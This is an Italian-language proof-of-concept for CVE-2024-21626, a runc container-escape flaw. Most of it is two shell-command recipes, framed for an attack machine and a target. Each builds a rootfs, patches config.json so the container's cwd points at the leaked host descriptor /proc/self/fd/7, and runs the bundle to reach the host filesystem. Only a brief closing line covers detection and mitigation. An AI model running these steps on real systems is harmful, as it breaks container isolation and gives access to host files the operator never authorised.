
PoC per CVE-2024-21626: runc perde un fd interno che fa riferimento alla CWD dell'host prima di pivot_root, consentendo l'escape del container impostando process.cwd su /proc/self/fd/7
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2024-21626 |
| Componente affetto | runc ≤ 1.1.11 |
| Classe di vulnerabilità | Fuga dal contenitore tramite perdita di file descriptor |
| Soprannome | Vasi che perdono |
runc perde un file descriptor interno (tipicamente fd/7) che punta alla directory di lavoro del filesystem host prima di eseguire il processo del contenitore. Impostando il cwd del contenitore in config.json su /proc/self/fd/7, il processo finisce in una directory dell'host anziché nel rootfs del contenitore — ottenendo una fuga dal contenitore.
Costruisci un rootfs minimale copiando i binari direttamente dall'host:
# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Generate default OCI config
runc spec
# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To: "cwd": "/proc/self/fd/7"
vi config.json
# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer
Cosa succede: runc apre fd/7 che fa riferimento alla CWD dell'host prima di effettuare il pivot al rootfs del contenitore. Impostando cwd su /proc/self/fd/7, runc esegue chdir() nel percorso dell'host anziché in quello del contenitore — finendo sul filesystem reale.
Se hai bisogno di un ambiente più completo o l'host ha binari limitati:
# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar
# Transfer alpine.tar to the target, then:
# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Generate OCI bundle config
runc spec
# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Run
sudo /opt/debug --log /tmp/log.json run strikontainer
openat() su /proc/self/fd/ all'interno delle configurazioni cwd del contenitore; segnala bundle OCI con cwd contenente /proc/self/fd/proc; considera contenitori rootless o gVisor/Kata per un isolamento più forte